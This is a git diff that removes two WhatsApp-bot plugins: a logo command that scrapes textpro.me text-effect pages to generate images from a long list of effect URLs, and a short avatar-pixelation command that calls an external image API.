- if (!effects.find(v => (new RegExp(v.title, 'gi')).test(effect))) throw `${mg}𝙀𝙇 𝙇𝙊𝙂𝙊 ${effect}𝙉𝙊 𝙎𝙀 𝙀𝙉𝘾𝙐𝙀𝙉𝙏𝙍𝘼 𝙀𝙉 𝙇𝘼 𝙇𝙄𝙎𝙏𝘼 𝘿𝙀 𝙇𝙊𝙂𝙊𝙎\n\n𝙏𝙃𝙀 𝙇𝙊𝙂𝙊 ${effect} 𝙄𝙏 𝙄𝙎 𝙉𝙊𝙏 𝙄𝙉 𝙏𝙃𝙀 𝙇𝙄𝙎𝙏 𝙊𝙁 𝙇𝙊𝙂𝙊𝙎`
- try {
- let text = txt.replace(new RegExp(effect, 'gi'), '').trimStart();
- if (text.includes(split)) {
- text = text.split(split).map((t) => t.trim());
- } else {
- text = [text.trim()];
- }
- const effectoSelect = effects.find((effectz) => new RegExp(effectz?.title, 'i').test(effect));
- const res = await maker(effectoSelect?.url, [...text]).catch(_ => { throw `${mg} 𝙁𝘼𝙇𝙏𝘼 𝙀𝙇 𝙏𝙀𝙓𝙏𝙊 𝘼𝙇 𝙌𝙐𝙀 𝙎𝙀 𝙍𝙀𝘼𝙇𝙄𝙕𝘼𝙍𝘼 𝙀𝙇 𝙇𝙊𝙂𝙊` })
- if (typeof res == 'number') throw res == -1 ? `${mg}𝙀𝙇 𝙇𝙊𝙂𝙊 ${effect} 𝙉𝙊 𝙎𝙀 𝙀𝙉𝘾𝙐𝙀𝙉𝙏𝙍𝘼 𝙀𝙉 𝙇𝘼 𝙇𝙄𝙎𝙏𝘼 𝘿𝙀 𝙇𝙊𝙂𝙊𝙎\n\n𝙏𝙃𝙀 𝙇𝙊𝙂𝙊 ${effect} 𝙄𝙏 𝙄𝙎 𝙉𝙊𝙏 𝙄𝙉 𝙏𝙃𝙀 𝙇𝙄𝙎𝙏 𝙊𝙁 𝙇𝙊𝙂𝙊𝙎` : `𝙐𝙎𝘼𝙍 𝙀𝙇 𝘾𝙊𝙈𝘼𝙉𝘿𝙊 𝘿𝙀 𝙎𝙄𝙂𝙐𝙄𝙀𝙉𝙏𝙀 𝙈𝘼𝙉𝙀𝙍𝘼\n𝙐𝙎𝙀 𝙏𝙃𝙀 𝘾𝙊𝙈𝙈𝘼𝙉𝘿 𝘼𝙎 𝙁𝙊𝙇𝙇𝙊𝙒𝙎\n\n${usedPrefix + command} ${effect} ${new Array(res).fill('texto').map((v, i) => v + (i ? i + 1 : '')).join('|')}*`
- await conn.sendMessage(m.chat, {image: {url: res.image}, caption: `✅ *AQUÍ ESTA TÚ LOGO!!*\n✅ *HERE IS YOUR LOGO!!*\n\n🔆 *EFECTO: ${effect}*\n${wm}`}, {quoted: m});
-} catch (e) {
-await m.reply(lenguajeGB['smsMalError3']() + '\n*' + lenguajeGB.smsMensError1() + '*\n*' + usedPrefix + `${lenguajeGB.lenguaje() == 'es' ? 'reporte' : 'report'}` + '* ' + `${lenguajeGB.smsMensError2()} ` + usedPrefix + command)
-console.log(`❗❗ ${lenguajeGB['smsMensError2']()} ${usedPrefix + command} ❗❗`)
-console.log(e)}
-}
-handler.help = ['logos'];
-handler.tags = ['nulis'];
-handler.command = /^(logo|logos|logos2)$/i;
-handler.limit = 1
-handler.register = true
-export default handler;
-
-var effects = [
- {
- 'title': '3d-deep-sea-metal',
- 'url': 'https://textpro.me/create-3d-deep-sea-metal-text-effect-online-1053.html',
- },
- {
- 'title': 'American-flag-3D',
- 'url': 'https://textpro.me/create-american-flag-3d-text-effect-online-1051.html',
- },
- {
- 'title': '3D-sci-fi',
- 'url': 'https://textpro.me/create-3d-sci-fi-text-effect-online-1050.html',
- },
- {
- 'title': '3D-rainbow-color-calligraphy',
- 'url': 'https://textpro.me/3d-rainbow-color-calligraphy-text-effect-1049.html',
- },
- {
- 'title': '3D-water-pipe',
- 'url': 'https://textpro.me/create-3d-water-pipe-text-effects-online-1048.html',
- },
- {
- 'title': 'Halloween-skeleton',
- 'url': 'https://textpro.me/create-halloween-skeleton-text-effect-online-1047.html',
- },
- {
- 'title': 'a-spooky-Halloween',
- 'url': 'https://textpro.me/create-a-spooky-halloween-text-effect-online-1046.html',
- },
- {
- 'title': 'a-cinematic-horror',
- 'url': 'https://textpro.me/create-a-cinematic-horror-text-effect-1045.html',
- },
- {
- 'title': 'a-sketch',
- 'url': 'https://textpro.me/create-a-sketch-text-effect-online-1044.html',
- },
- {
- 'title': 'blue-circuit-style',
- 'url': 'https://textpro.me/create-blue-circuit-style-text-effect-online-1043.html',
- },
- {
- 'title': 'space',
- 'url': 'https://textpro.me/create-space-text-effects-online-free-1042.html',
- },
- {
- 'title': 'a-metallic',
- 'url': 'https://textpro.me/create-a-metallic-text-effect-free-online-1041.html',
- },
- {
- 'title': 'Creat-glossy-metalic',
- 'url': 'https://textpro.me/creat-glossy-metalic-text-effect-free-online-1040.html',
- },
- {
- 'title': 'a-Captain-America',
- 'url': 'https://textpro.me/create-a-captain-america-text-effect-free-online-1039.html',
- },
- {
- 'title': 'science-fiction',
- 'url': 'https://textpro.me/create-science-fiction-text-effect-online-free-1038.html',
- },
- {
- 'title': 'Video-game-classic-8-bit',
- 'url': 'https://textpro.me/video-game-classic-8-bit-text-effect-1037.html',
- },
- {
- 'title': 'green-horror-style',
- 'url': 'https://textpro.me/create-green-horror-style-text-effect-online-1036.html',
- },
- {
- 'title': 'a-transformer',
- 'url': 'https://textpro.me/create-a-transformer-text-effect-online-1035.html',
- },
- {
- 'title': 'berry',
- 'url': 'https://textpro.me/create-berry-text-effect-online-free-1033.html',
- },
- {
- 'title': 'layered',
- 'url': 'https://textpro.me/create-layered-text-effects-online-free-1032.html',
- },
- {
- 'title': 'Online-thunder--generator',
- 'url': 'https://textpro.me/online-thunder-text-effect-generator-1031.html',
- },
- {
- 'title': 'a-magma-hot',
- 'url': 'https://textpro.me/create-a-magma-hot-text-effect-online-1030.html',
- },
- {
- 'title': '3D-stone-cracked-cool',
- 'url': 'https://textpro.me/3d-stone-cracked-cool-text-effect-1029.html',
- },
- {
- 'title': '3D-neon-light',
- 'url': 'https://textpro.me/create-3d-neon-light-text-effect-online-1028.html',
- },
- {
- 'title': 'impressive-glitch',
- 'url': 'https://textpro.me/create-impressive-glitch-text-effects-online-1027.html',
- },
- {
- 'title': 'a-glitch',
- 'url': 'https://textpro.me/create-a-glitch-text-effect-online-free-1026.html',
- },
- {
- 'title': 'embossed--on-cracked-surface',
- 'url': 'https://textpro.me/create-embossed-text-effect-on-cracked-surface-1024.html',
- },
- {
- 'title': 'Broken-glass',
- 'url': 'https://textpro.me/broken-glass-text-effect-free-online-1023.html',
- },
- {
- 'title': 'art-paper-cut',
- 'url': 'https://textpro.me/create-art-paper-cut-text-effect-online-1022.html',
- },
- {
- 'title': 'artistic-black-and-white-status-and-quote-with-your-photos',
- 'url': 'https://textpro.me/create-artistic-black-and-white-status-and-quote-with-your-photos-1021.html',
- },
- {
- 'title': 'Online-3D-gradient--generator',
- 'url': 'https://textpro.me/online-3d-gradient-text-effect-generator-1020.html',
- },
- {
- 'title': 'a-3D-glossy-metal',
- 'url': 'https://textpro.me/create-a-3d-glossy-metal-text-effect-1019.html',
- },
- {
- 'title': '3D-realistic--on-the-beach',
- 'url': 'https://textpro.me/create-3d-realistic-text-effect-on-the-beach-online-1018.html',
- },
- {
- 'title': 'a-watercolor',
- 'url': 'https://textpro.me/create-a-free-online-watercolor-text-effect-1017.html',
- },
- {
- 'title': 'Online-multicolor-3D-paper-cut',
- 'url': 'https://textpro.me/online-multicolor-3d-paper-cut-text-effect-1016.html',
- },
- {
- 'title': 'Write-text-on-foggy-window',
- 'url': 'https://textpro.me/write-text-on-foggy-window-online-free-1015.html',
- },
- {
- 'title': 'neon-devil-wings',
- 'url': 'https://textpro.me/create-neon-devil-wings-text-effect-online-free-1014.html',
- },
- {
- 'title': '3D-underwater--generator',
- 'url': 'https://textpro.me/3d-underwater-text-effect-generator-online-1013.html',
- },
- {
- 'title': 'Online-black-and-white-bear-mascot-logo-creation',
- 'url': 'https://textpro.me/online-black-and-white-bear-mascot-logo-creation-1012.html',
- },
- {
- 'title': 'wonderful-graffiti-art',
- 'url': 'https://textpro.me/create-wonderful-graffiti-art-text-effect-1011.html',
- },
- {
- 'title': 'a-cool-graffiti-text-on-the-wall',
- 'url': 'https://textpro.me/create-a-cool-graffiti-text-on-the-wall-1010.html',
- },
- {
- 'title': 'cool-wall-graffiti',
- 'url': 'https://textpro.me/create-cool-wall-graffiti-text-effect-online-1009.html',
- },
- {
- 'title': 'a-christmas-holiday-snow',
- 'url': 'https://textpro.me/create-a-christmas-holiday-snow-text-effect-1007.html',
- },
- {
- 'title': 'a-futuristic-technology-neon-light',
- 'url': 'https://textpro.me/create-a-futuristic-technology-neon-light-text-effect-1006.html',
- },
- {
- 'title': 'snow--for-winter-holidays',
- 'url': 'https://textpro.me/create-snow-text-effects-for-winter-holidays-1005.html',
- },
- {
- 'title': 'a-cloud--on-the-sky',
- 'url': 'https://textpro.me/create-a-cloud-text-effect-on-the-sky-online-1004.html',
- },
- {
- 'title': '3D-luxury-gold',
- 'url': 'https://textpro.me/3d-luxury-gold-text-effect-online-1003.html',
- },
- {
- 'title': '3D-gradient',
- 'url': 'https://textpro.me/3d-gradient-text-effect-online-free-1002.html',
- },
- {
- 'title': 'Blackpink-logo-style',
- 'url': 'https://textpro.me/create-blackpink-logo-style-online-1001.html',
- },
- {
- 'title': 'realistic-vintage-style-light-bulb',
- 'url': 'https://textpro.me/create-realistic-vintage-style-light-bulb-1000.html',
- },
- {
- 'title': 'realistic-cloud',
- 'url': 'https://textpro.me/create-realistic-cloud-text-effect-online-free-999.html',
- },
- {
- 'title': 'a-cloud--in-the-sky',
- 'url': 'https://textpro.me/create-a-cloud-text-effect-in-the-sky-online-997.html',
- },
- {
- 'title': 'Write-in-Sand-Summer-Beach',
- 'url': 'https://textpro.me/write-in-sand-summer-beach-free-online-991.html',
- },
- {
- 'title': 'Sand-Writing',
- 'url': 'https://textpro.me/sand-writing-text-effect-online-990.html',
- },
- {
- 'title': 'Sand-engraved-3d',
- 'url': 'https://textpro.me/sand-engraved-3d-text-effect-989.html',
- },
- {
- 'title': 'a-summery-sand-writing',
- 'url': 'https://textpro.me/create-a-summery-sand-writing-text-effect-988.html',
- },
- {
- 'title': 'Foil-Balloon--For-Birthday',
- 'url': 'https://textpro.me/foil-balloon-text-effect-for-birthday-987.html',
- },
- {
- 'title': '3d-glue--with-realistic-style',
- 'url': 'https://textpro.me/create-3d-glue-text-effect-with-realistic-style-986.html',
- },
- {
- 'title': 'space-3D',
- 'url': 'https://textpro.me/create-space-3d-text-effect-online-985.html',
- },
- {
- 'title': 'Metal-Dark-Gold',
- 'url': 'https://textpro.me/metal-dark-gold-text-effect-984.html',
- },
- {
- 'title': 'Glitch--Style-Tik-Tok',
- 'url': 'https://textpro.me/create-glitch-text-effect-style-tik-tok-983.html',
- },
- {
- 'title': 'a-Stone',
- 'url': 'https://textpro.me/create-a-stone-text-effect-online-982.html',
- },
- {
- 'title': 'Neon-Light--With-Galaxy-Style',
- 'url': 'https://textpro.me/neon-light-text-effect-with-galaxy-style-981.html',
- },
- {
- 'title': '1917-Style',
- 'url': 'https://textpro.me/1917-style-text-effect-online-980.html',
- },
- {
- 'title': '80\'s-Retro-Neon',
- 'url': 'https://textpro.me/80-s-retro-neon-text-effect-online-979.html',
- },
- {
- 'title': 'Minion--3D',
- 'url': 'https://textpro.me/minion-text-effect-3d-online-978.html',
- },
- {
- 'title': 'Pornhub-Style-Logo',
- 'url': 'https://textpro.me/pornhub-style-logo-online-generator-free-977.html',
- },
- {
- 'title': 'Double-Exposure--Black-&-White',
- 'url': 'https://textpro.me/double-exposure-text-effect-black-white-976.html',
- },
- {
- 'title': 'Holographic-3D',
- 'url': 'https://textpro.me/holographic-3d-text-effect-975.html',
- },
- {
- 'title': '3D-Avengers-logo',
- 'url': 'https://textpro.me/create-3d-avengers-logo-online-974.html',
- },
- {
- 'title': 'Metal-Purple-Dual-Effect',
- 'url': 'https://textpro.me/metal-purple-dual-effect-973.html',
- },
- {
- 'title': 'logo-style-Marvel-studios-Ver:-metal',
- 'url': 'https://textpro.me/create-logo-style-marvel-studios-ver-metal-972.html',
- },
- {
- 'title': 'logo-style-Marvel-studios',
- 'url': 'https://textpro.me/create-logo-style-marvel-studios-online-971.html',
- },
- {
- 'title': 'Deluxe-Silver',
- 'url': 'https://textpro.me/deluxe-silver-text-effect-970.html',
- },
- {
- 'title': 'Color-Full-Luxury-Metal',
- 'url': 'https://textpro.me/color-full-luxury-metal-text-effect-969.html',
- },
- {
- 'title': 'Glossy-Blue-Metal',
- 'url': 'https://textpro.me/glossy-blue-metal-text-effect-967.html',
- },
- {
- 'title': 'Deluxe-Gold',
- 'url': 'https://textpro.me/deluxe-gold-text-effect-966.html',
- },
- {
- 'title': 'Glossy-Carbon',
- 'url': 'https://textpro.me/glossy-carbon-text-effect-965.html',
- },
- {
- 'title': 'Fabric',
- 'url': 'https://textpro.me/fabric-text-effect-online-964.html',
- },
- {
- 'title': 'Neon',
- 'url': 'https://textpro.me/neon-text-effect-online-963.html',
- },
- {
- 'title': 'New-Year-Cards-3D-By-Name',
- 'url': 'https://textpro.me/new-year-cards-3d-by-name-960.html',
- },
- {
- 'title': 'Happ-new-year-card-firework-gif',
- 'url': 'https://textpro.me/happ-new-year-card-firework-gif-959.html',
- },
- {
- 'title': 'Fullcolor-Balloon',
- 'url': 'https://textpro.me/fullcolor-balloon-text-effect-958.html',
- },
- {
- 'title': 'Text-Logo-3D-Metal',
- 'url': 'https://textpro.me/create-text-logo-3d-metal-online-957.html',
- },
- {
- 'title': 'avatar-gold',
- 'url': 'https://textpro.me/create-avatar-gold-online-956.html',
- },
- {
- 'title': 'Text-Logo-3D-Metal-Silver',
- 'url': 'https://textpro.me/text-logo-3d-metal-silver-946.html',
- },
- {
- 'title': 'Text-Logo-3D-Metal-Rose-Gold',
- 'url': 'https://textpro.me/text-logo-3d-metal-rose-gold-945.html',
- },
- {
- 'title': 'Text-Logo-3D-Metal-Gold',
- 'url': 'https://textpro.me/text-logo-3d-metal-gold-944.html',
- },
- {
- 'title': 'Text-Logo-3D-Metal-Galaxy',
- 'url': 'https://textpro.me/text-logo-3d-metal-galaxy-943.html',
- },
- {
- 'title': 'Xmas-Cards-3D',
- 'url': 'https://textpro.me/xmas-cards-3d-online-942.html',
- },
- {
- 'title': 'Blood-Text-On-The-Frosted-Glass',
- 'url': 'https://textpro.me/blood-text-on-the-frosted-glass-941.html',
- },
- {
- 'title': 'Halloween-Fire',
- 'url': 'https://textpro.me/halloween-fire-text-effect-940.html',
- },
- {
- 'title': 'Metal-Dark-Gold',
- 'url': 'https://textpro.me/metal-dark-gold-text-effect-online-939.html',
- },
- {
- 'title': 'Lion-Logo-Mascot',
- 'url': 'https://textpro.me/create-lion-logo-mascot-online-938.html',
- },
- {
- 'title': 'Wolf-Logo-Black-&-White',
- 'url': 'https://textpro.me/create-wolf-logo-black-white-937.html',
- },
- {
- 'title': 'Wolf-Logo-Galaxy',
- 'url': 'https://textpro.me/create-wolf-logo-galaxy-online-936.html',
- },
- {
- 'title': 'Ninja-Logo',
- 'url': 'https://textpro.me/create-ninja-logo-online-935.html',
- },
- {
- 'title': 'Logo-Joker',
- 'url': 'https://textpro.me/create-logo-joker-online-934.html',
- },
- {
- 'title': 'Wicker',
- 'url': 'https://textpro.me/wicker-text-effect-online-932.html',
- },
- {
- 'title': 'Natural-Leaves',
- 'url': 'https://textpro.me/natural-leaves-text-effect-931.html',
- },
- {
- 'title': 'Firework-Sparkle',
- 'url': 'https://textpro.me/firework-sparkle-text-effect-930.html',
- },
- {
- 'title': 'Skeleton',
- 'url': 'https://textpro.me/skeleton-text-effect-online-929.html',
- },
- {
- 'title': 'Red-Foil-Balloon',
- 'url': 'https://textpro.me/red-foil-balloon-text-effect-928.html',
- },
- {
- 'title': 'Purple-Foil-Balloon',
- 'url': 'https://textpro.me/purple-foil-balloon-text-effect-927.html',
- },
- {
- 'title': 'Pink-Foil-Balloon',
- 'url': 'https://textpro.me/pink-foil-balloon-text-effect-926.html',
- },
- {
- 'title': 'Green-Foil-Balloon',
- 'url': 'https://textpro.me/green-foil-balloon-text-effect-925.html',
- },
- {
- 'title': 'Cyan-Foil-Balloon',
- 'url': 'https://textpro.me/cyan-foil-balloon-text-effect-924.html',
- },
- {
- 'title': 'Blue-Foil-Balloon',
- 'url': 'https://textpro.me/blue-foil-balloon-text-effect-923.html',
- },
- {
- 'title': 'Gold-Foil-Balloon',
- 'url': 'https://textpro.me/gold-foil-balloon-text-effect-922.html',
- },
- {
- 'title': 'Steel',
- 'url': 'https://textpro.me/steel-text-effect-online-921.html',
- },
- {
- 'title': 'Ultra-Gloss',
- 'url': 'https://textpro.me/ultra-gloss-text-effect-online-920.html',
- },
- {
- 'title': 'Denim',
- 'url': 'https://textpro.me/denim-text-effect-online-919.html',
- },
- {
- 'title': 'Decorate-Green',
- 'url': 'https://textpro.me/decorate-green-text-effect-918.html',
- },
- {
- 'title': 'Decorate-Purple',
- 'url': 'https://textpro.me/decorate-purple-text-effect-917.html',
- },
- {
- 'title': 'Peridot-Stone',
- 'url': 'https://textpro.me/peridot-stone-text-effect-916.html',
- },
- {
- 'title': 'Rock',
- 'url': 'https://textpro.me/rock-text-effect-online-915.html',
- },
- {
- 'title': 'Lava',
- 'url': 'https://textpro.me/lava-text-effect-online-914.html',
- },
- {
- 'title': 'Yellow-Glass',
- 'url': 'https://textpro.me/yellow-glass-text-effect-913.html',
- },
- {
- 'title': 'Purple-Glass',
- 'url': 'https://textpro.me/purple-glass-text-effect-912.html',
- },
- {
- 'title': 'Orange-Glass',
- 'url': 'https://textpro.me/orange-glass-text-effect-911.html',
- },
- {
- 'title': 'Green-Glass',
- 'url': 'https://textpro.me/green-glass-text-effect-910.html',
- },
- {
- 'title': 'Cyan-Glass',
- 'url': 'https://textpro.me/cyan-glass-text-effect-909.html',
- },
- {
- 'title': 'Blue-Glass',
- 'url': 'https://textpro.me/blue-glass-text-effect-908.html',
- },
- {
- 'title': 'Red-Glass',
- 'url': 'https://textpro.me/red-glass-text-effect-907.html',
- },
- {
- 'title': 'Purple-Shiny-Glass',
- 'url': 'https://textpro.me/purple-shiny-glass-text-effect-906.html',
- },
- {
- 'title': 'Captain-America',
- 'url': 'https://textpro.me/captain-america-text-effect-905.html',
- },
- {
- 'title': 'Robot-R2-D2',
- 'url': 'https://textpro.me/robot-r2-d2-text-effect-903.html',
- },
- {
- 'title': 'Rainbow-Equalizer',
- 'url': 'https://textpro.me/rainbow-equalizer-text-effect-902.html',
- },
- {
- 'title': 'Toxic',
- 'url': 'https://textpro.me/toxic-text-effect-online-901.html',
- },
- {
- 'title': 'Pink-Sparkling-Jewelry',
- 'url': 'https://textpro.me/pink-sparkling-jewelry-text-effect-899.html',
- },
- {
- 'title': 'Blue-Sparkling-Jewelry',
- 'url': 'https://textpro.me/blue-sparkling-jewelry-text-effect-898.html',
- },
- {
- 'title': 'Green-Sparkling-Jewelry',
- 'url': 'https://textpro.me/green-sparkling-jewelry-text-effect-897.html',
- },
- {
- 'title': 'Purple-Sparkling-Jewelry',
- 'url': 'https://textpro.me/purple-sparkling-jewelry-text-effect-896.html',
- },
- {
- 'title': 'Gold-Sparkling-Jewelry',
- 'url': 'https://textpro.me/gold-sparkling-jewelry-text-effect-895.html',
- },
- {
- 'title': 'Red-Sparkling-Jewelry',
- 'url': 'https://textpro.me/red-sparkling-jewelry-text-effect-894.html',
- },
- {
- 'title': 'Cyan-Sparkling-Jewelry',
- 'url': 'https://textpro.me/cyan-sparkling-jewelry-text-effect-893.html',
- },
- {
- 'title': 'Purple-Glass',
- 'url': 'https://textpro.me/purple-glass-text-effect-online-892.html',
- },
- {
- 'title': 'Decorative-Glass',
- 'url': 'https://textpro.me/decorative-glass-text-effect-891.html',
- },
- {
- 'title': 'Chocolate-Cake',
- 'url': 'https://textpro.me/chocolate-cake-text-effect-890.html',
- },
- {
- 'title': 'Strawberry',
- 'url': 'https://textpro.me/strawberry-text-effect-online-889.html',
- },
- {
- 'title': 'Koi-Fish',
- 'url': 'https://textpro.me/koi-fish-text-effect-online-888.html',
- },
- {
- 'title': 'Bread',
- 'url': 'https://textpro.me/bread-text-effect-online-887.html',
- },
- {
- 'title': 'Matrix-Style',
- 'url': 'https://textpro.me/matrix-style-text-effect-online-884.html',
- },
- {
- 'title': 'Horror-Blood',
- 'url': 'https://textpro.me/horror-blood-text-effect-online-883.html',
- },
- {
- 'title': 'Neon-Light',
- 'url': 'https://textpro.me/neon-light-text-effect-online-882.html',
- },
- {
- 'title': 'Thunder',
- 'url': 'https://textpro.me/create-thunder-text-effect-online-881.html',
- },
- {
- 'title': '3D-Box',
- 'url': 'https://textpro.me/3d-box-text-effect-online-880.html',
- },
- {
- 'title': 'Neon',
- 'url': 'https://textpro.me/neon-text-effect-online-879.html',
- },
- {
- 'title': 'Road-Warning',
- 'url': 'https://textpro.me/road-warning-text-effect-878.html',
- },
- {
- 'title': '3D-Steel',
- 'url': 'https://textpro.me/3d-steel-text-effect-877.html',
- },
- {
- 'title': 'Bokeh',
- 'url': 'https://textpro.me/bokeh-text-effect-876.html',
- },
- {
- 'title': 'Green-Neon',
- 'url': 'https://textpro.me/green-neon-text-effect-874.html',
- },
- {
- 'title': 'Free-Advanced-Glow',
- 'url': 'https://textpro.me/free-advanced-glow-text-effect-873.html',
- },
- {
- 'title': 'Dropwater',
- 'url': 'https://textpro.me/dropwater-text-effect-872.html',
- },
- {
- 'title': 'Break-Wall',
- 'url': 'https://textpro.me/break-wall-text-effect-871.html',
- },
- {
- 'title': 'Chrismast-Gift',
- 'url': 'https://textpro.me/chrismast-gift-text-effect-869.html',
- },
- {
- 'title': 'Honey',
- 'url': 'https://textpro.me/honey-text-effect-868.html',
- },
- {
- 'title': 'Plastic-Bag-Drug',
- 'url': 'https://textpro.me/plastic-bag-drug-text-effect-867.html',
- },
- {
- 'title': 'Horror-Gift',
- 'url': 'https://textpro.me/horror-gift-text-effect-866.html',
- },
- {
- 'title': 'Marble-Slabs',
- 'url': 'https://textpro.me/marble-slabs-text-effect-864.html',
- },
- {
- 'title': 'Marble',
- 'url': 'https://textpro.me/marble-text-effect-863.html',
- },
- {
- 'title': 'Ice-Cold',
- 'url': 'https://textpro.me/ice-cold-text-effect-862.html',
- },
- {
- 'title': 'Fruit-Juice',
- 'url': 'https://textpro.me/fruit-juice-text-effect-861.html',
- },
- {
- 'title': 'Rusty-Metal',
- 'url': 'https://textpro.me/rusty-metal-text-effect-860.html',
- },
- {
- 'title': 'Abstra-Gold',
- 'url': 'https://textpro.me/abstra-gold-text-effect-859.html',
- },
- {
- 'title': 'Biscuit',
- 'url': 'https://textpro.me/biscuit-text-effect-858.html',
- },
- {
- 'title': 'Bagel',
- 'url': 'https://textpro.me/bagel-text-effect-857.html',
- },
- {
- 'title': 'Wood',
- 'url': 'https://textpro.me/wood-text-effect-856.html',
- },
- {
- 'title': 'SCI---Fi',
- 'url': 'https://textpro.me/sci-fi-text-effect-855.html',
- },
- {
- 'title': 'Metal-Rainbow',
- 'url': 'https://textpro.me/metal-rainbow-text-effect-854.html',
- },
- {
- 'title': 'Purple-Gem',
- 'url': 'https://textpro.me/purple-gem-text-effect-853.html',
- },
- {
- 'title': 'Shiny-Metal',
- 'url': 'https://textpro.me/shiny-metal-text-effect-852.html',
- },
- {
- 'title': 'Yellow-Jewelry',
- 'url': 'https://textpro.me/yellow-jewelry-text-effect-851.html',
- },
- {
- 'title': 'Silver-Jewelry',
- 'url': 'https://textpro.me/silver-jewelry-text-effect-850.html',
- },
- {
- 'title': 'Red-Jewelry',
- 'url': 'https://textpro.me/red-jewelry-text-effect-849.html',
- },
- {
- 'title': 'Purple-Jewelry',
- 'url': 'https://textpro.me/purple-jewelry-text-effect-848.html',
- },
- {
- 'title': 'Orange-Jewelry',
- 'url': 'https://textpro.me/orange-jewelry-text-effect-847.html',
- },
- {
- 'title': 'Green-Jewelry',
- 'url': 'https://textpro.me/green-jewelry-text-effect-846.html',
- },
- {
- 'title': 'Cyan-Jewelry',
- 'url': 'https://textpro.me/cyan-jewelry-text-effect-845.html',
- },
- {
- 'title': 'Blue-Jewelry',
- 'url': 'https://textpro.me/blue-jewelry-text-effect-844.html',
- },
- {
- 'title': 'Hot-Metal',
- 'url': 'https://textpro.me/hot-metal-text-effect-843.html',
- },
- {
- 'title': 'Hexa-Golden',
- 'url': 'https://textpro.me/hexa-golden-text-effect-842.html',
- },
- {
- 'title': 'Blue-Glitter',
- 'url': 'https://textpro.me/blue-glitter-text-effect-841.html',
- },
- {
- 'title': 'Purple-Glitter',
- 'url': 'https://textpro.me/purple-glitter-text-effect-840.html',
- },
- {
- 'title': 'Pink-Glitter',
- 'url': 'https://textpro.me/pink-glitter-text-effect-839.html',
- },
- {
- 'title': 'Green-Glitter',
- 'url': 'https://textpro.me/green-glitter-text-effect-838.html',
- },
- {
- 'title': 'Silver-Glitter',
- 'url': 'https://textpro.me/silver-glitter-text-effect-837.html',
- },
- {
- 'title': 'Gold-Glitter',
- 'url': 'https://textpro.me/gold-glitter-text-effect-836.html',
- },
- {
- 'title': 'Bronze-Glitter',
- 'url': 'https://textpro.me/bronze-glitter-text-effect-835.html',
- },
- {
- 'title': 'Eroded-Metal',
- 'url': 'https://textpro.me/eroded-metal-text-effect-834.html',
- },
- {
- 'title': 'Carbon',
- 'url': 'https://textpro.me/carbon-text-effect-833.html',
- },
- {
- 'title': 'Pink-Candy',
- 'url': 'https://textpro.me/pink-candy-text-effect-832.html',
- },
- {
- 'title': 'Blue-Metal',
- 'url': 'https://textpro.me/blue-metal-text-effect-831.html',
- },
- {
- 'title': 'Blue-Gem',
- 'url': 'https://textpro.me/blue-gem-text-effect-830.html',
- },
- {
- 'title': 'Black-Metal',
- 'url': 'https://textpro.me/black-metal-text-effect-829.html',
- },
- {
- 'title': '3D-Glowing-Metal',
- 'url': 'https://textpro.me/3d-glowing-metal-text-effect-828.html',
- },
- {
- 'title': '3D-Chrome',
- 'url': 'https://textpro.me/3d-chrome-text-effect-827.html',
- },
-];
-
-async function maker(url, text) {
- if (/https?:\/\/(ephoto360|photooxy|textpro)\/\.(com|me)/i.test(url)) throw new Error("URL Invalid")
- try {
- let a = await axios.get(url, {
- headers: {
- "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
- "Origin": (new URL(url)).origin,
- "Referer": url,
- "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Edg/115.0.1901.188"
- }
- })
- let $ = cheerio.load(a.data)
- let server = $('#build_server').val()
- let serverId = $('#build_server_id').val()
- let token = $('#token').val()
- let submit = $('#submit').val()
- let types = [];
- $('input[name="radio0[radio]"]').each((i, elem) => {
- types.push($(elem).attr("value"));
- })
- let post;
- if (types.length != 0) {
- post = {
- 'radio0[radio]': types[Math.floor(Math.random() * types.length)],
- 'submit': submit,
- 'token': token,
- 'build_server': server,
- 'build_server_id': Number(serverId)
- };
- }
- else {
- post = {
- 'submit': submit,
- 'token': token,
- 'build_server': server,
- 'build_server_id': Number(serverId)
- }
- }
- let form = new FormData()
- for (let i in post) {
- form.append(i, post[i])
- }
- if (typeof text == "string") text = [text]
- for (let i of text) form.append("text[]", i)
- let b = await axios.post(url, form, {
- headers: {
- "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
- "Origin": (new URL(url)).origin,
- "Referer": url,
- "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Edg/115.0.1901.188",
- "Cookie": a.headers.get("set-cookie").join("; "),
- ...form.getHeaders()
- }
- })
- $ = cheerio.load(b.data)
- let out = ($('#form_value').first().text() || $('#form_value_input').first().text() || $('#form_value').first().val() || $('#form_value_input').first().val())
- let c = await axios.post((new URL(url)).origin + "/effect/create-image", JSON.parse(out), {
- headers: {
- "Accept": "*/*",
- "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
- "Origin": (new URL(url)).origin,
- "Referer": url,
- "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Edg/115.0.1901.188",
- "Cookie": a.headers.get("set-cookie").join("; ")
- }
- })
- return {status: c.data?.success, image: server + (c.data?.fullsize_image || c.data?.image || ""), session: c.data?.session_id}
- } catch (e) {
- throw e
- }
-}
diff --git a/plugins/maker-pixel.js b/plugins/maker-pixel.js
deleted file mode 100644
index 9f72283df..000000000
--- a/plugins/maker-pixel.js
+++ /dev/null
@@ -1,14 +0,0 @@
-const handler = async (m, {conn, usedprefix, text}) => {
- const who = m.quoted ? m.quoted.sender : m.mentionedJid && m.mentionedJid[0] ? m.mentionedJid[0] : m.fromMe ? conn.user.jid : m.sender;
- conn.sendFile(m.chat, global.API('https://some-random-api.com', '/canvas/pixelate', {
- avatar: await conn.profilePictureUrl(m.sender, 'image').catch((_) => 'https://telegra.ph/file/24fa902ead26340f3df2c.png'),
- comment: text,
- username: conn.getName(m.sender),
- }), 'error.png', '*AQUI TIENE TU IMAGEN PIXELEADA CON EXITO!!*', m);
-};
-handler.help = ['pixel', 'difuminar'];
-handler.tags = ['maker'];
-handler.command = /^(pixel|pixelar|difuminar)$/i;
-handler.limit = true
